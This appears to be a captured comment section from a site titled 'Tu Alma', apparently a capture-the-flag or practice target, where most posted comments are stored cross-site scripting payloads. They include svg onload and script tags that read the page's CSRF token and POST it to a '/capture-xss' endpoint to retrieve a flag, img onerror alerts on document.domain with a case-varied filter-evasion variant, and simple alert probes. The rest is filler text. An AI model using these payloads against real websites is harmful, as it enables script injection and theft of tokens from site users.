Tu Alma

Bunas

22/09/2026

<svg/onload="fetch('/capture-xss',{method:'POST',headers:{'X-CSRF-TOKEN':document.querySelector('meta[name=csrf-token]').content,'Content-Type':'application/json'},body:JSON.stringify({componente:'comments'})}).then(r=>r.json()).then(d=>alert(JSON.stringify(d)))">

Jose Burguera

19/09/2026

<b>pepinomarino</b>

Gabriela

18/09/2026

hola

mj

10/09/2026

dsfasdfa

mj

10/09/2026

dsfasdfa

NPC-desconocido

09/09/2026

<script>fetch('/capture-xss',{method:'POST',headers:{'Content-Type':'application/json','Accept':'application/json','X-CSRF-TOKEN':document.querySelector('meta[name="csrf-token"]').content},body:JSON.stringify({componente:'comments'})}).then(r=>r.json()).then(d=>alert('FLAG comments = '+d.flag))</script>

NPC-desconocido

09/09/2026

<script>fetch('/capture-xss',{method:'POST',headers:{'Content-Type':'application/json','Accept':'application/json','X-CSRF-TOKEN':document.querySelector('meta[name="csrf-token"]').content},body:JSON.stringify({componente:'comments'})}).then(r=>r.json()).then(d=>alert('FLAG comments = '+d.flag))</script>

NPC-desconocido

09/09/2026

EVIDCOM<script>alert('stored-xss')</script>

heindall

05/09/2026

<img src=x onerror=alert(document.domain)>

heindall

05/09/2026

<img src=x onerror=alert(document.domain)>

heindall

04/09/2026

<img src=x onerror=alert(document.domain)>

test

04/09/2026

<script>alert("XSS")</script>

heindall

04/09/2026

<img src=x OnErRoR=alert(document.domain)>

heindall

04/09/2026

<img src=x onerror=alert(document.domain)>